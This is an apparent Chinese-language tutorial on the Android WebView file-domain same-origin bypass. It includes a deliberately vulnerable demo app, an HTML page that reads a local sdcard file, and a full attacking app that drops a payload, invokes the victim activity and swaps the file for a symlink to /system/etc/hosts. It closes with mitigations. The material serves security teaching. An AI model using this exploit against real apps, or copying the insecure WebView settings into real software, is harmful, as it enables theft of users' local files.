Android WebView File域同源策略绕过漏洞浅析
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我们首先讲一个webView这种方法的作用：
webView.getSettings().setAllowFileAccessFromFileURLs(false);为了解说这种方法，我们还是看一个实际的样例。代码地址还是參考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。
代码例如以下。和Android WebView远程代码执行漏洞简析一文中的代码主要差别在于这次载入的attack_file.html。
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
String mUrl1 = "file:///android_asset/html/attack_file.html";
//String mUrl2 = "file:///android_asset/html/test.html";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "This text is returned from Java layer. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
} 这里webView.getSettings().setAllowFileAccessFromFileURLs(true)。标示能够通过javaScript訪问file文件。我们再来看attack_file.html的代码：
<html>
<body>
<script>
function stealFile()
{
var file = "file:///mnt/sdcard/11.txt";
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html> 因为setAllowFileAccessFromFileURLs为true，所以webView.load这个html能够返回/mnt/sdcard/11.txt的值。假设setAllowFileAccessFromFileURLs为false。webView.load这个html不能够返回/mnt/sdcard/11.txt的值。
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即使setAllowFileAccessFromFileURLs为false，我们通过一种方式也能够跨过这个限制，那就是Android WebView File域同源策略绕过漏洞浅析。请參考WebView File域同源策略绕过漏洞浅析。
參考的文章并没有给出能够执行的project，这里给出，下面的解说都来源于这两个project：https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1，https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView。
首先执行WebViewFileDemo1，然后再执行AttackWebView来突击WebView。
我们首先看WebViewFileDemo1，主要代码例如以下：
package com.example.webviewfiledemo;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(false);
//webView.getSettings().setAllowFileAccess(false);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
Intent i = getIntent();
if (i != null) {
mUri = i.getData();
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url);
}
}
}这个Activity接收来自外部的Intent。提取Intent里面的url并载入。
接着我们来看AttackWebViewproject，这里就是向com.example.webviewfiledemo.MainActivity发送Intent的project。
代码例如以下：
public class MainActivity extends Activity {
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;"+
"function doitjs(){"+
"var xhr = new XMLHttpRequest;"+
"xhr.onload = function(){"+
"var txt = xhr.responseText;"+
"d.body.appendChild(d.createTextNode(txt));"+
"alert(txt);"+"};"+
"xhr.open('GET',d.URL);"+
"xhr.send(null);"+
"}"+
"setTimeout(doitjs,8000);"+
"</script>"+
"</body>";
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
try {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
}
public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
// TODO: handle exception
}
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO: handle exception
}
}
} 通过invokeVulnAPP，打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url。Url为/sdcard/payload_odex/A0.html。webView载入了这个html，html内容例如以下：
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;"+
"function doitjs(){"+
"var xhr = new XMLHttpRequest;"+
"xhr.onload = function(){"+
"var txt = xhr.responseText;"+
"d.body.appendChild(d.createTextNode(txt));"+
"alert(txt);"+"};"+
"xhr.open('GET',d.URL);"+
"xhr.send(null);"+
"}"+
"setTimeout(doitjs,8000);"+
"</script>"+
"</body>"; 当WebViewFileDemo1project中webView载入A0.html后，这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebViewproject。往下看代码。cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH); 调用完invokeVulnAPP后。6秒后，我们首先把A0.html删除，然后再又一次软连接到/system/etc/hosts。注意此时当WebViewFileDemo1project中webView载入A0.html。这个html的作用是延迟8秒读取A0.html本身。所以8秒后读取的是软连接/system/etc/hosts。
结果例如以下：
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怎样避免这样的情况的发生呢？
1、webView.getSettings. setAllowFileAccess(false);
假设在WebViewFileDemo1project中com.example.webviewfiledemo.MainActivity的onCreate方法中假设加上了上面的代码，那么执行的结果例如以下：
2、webView.getSettings. setJavaScriptEnabled(false);
